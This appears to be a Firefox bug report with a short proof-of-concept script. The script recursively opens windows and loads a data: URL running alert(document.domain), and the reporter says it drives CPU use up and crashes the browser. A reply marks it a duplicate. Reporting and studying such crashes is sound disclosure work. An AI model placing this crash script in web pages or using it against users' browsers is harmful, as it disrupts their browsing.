User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Steps to reproduce: 1.the poc script is: <script> function g(){ window.open("https://cn.bing.com","z"); window.open("data:text/html,<script>alert(document.domain)<\/script>","z"); g(); }; </script> <a href="javascript:g()" style="font-size: 100px">click me</a> or visit online poc page: https://api.lightrains.org/poc/5.html 2.macOS version:10.12.3 firefox version:51.0.1 Actual results: firefox doesn't work anymore,cpu occupancy rate rise rapidly,then firefox will crashed. Expected results: As normal as ever

(In reply to :Gijs from comment #1) > > *** This bug has been marked as a duplicate of bug 685828 *** OK,Thank you for your work.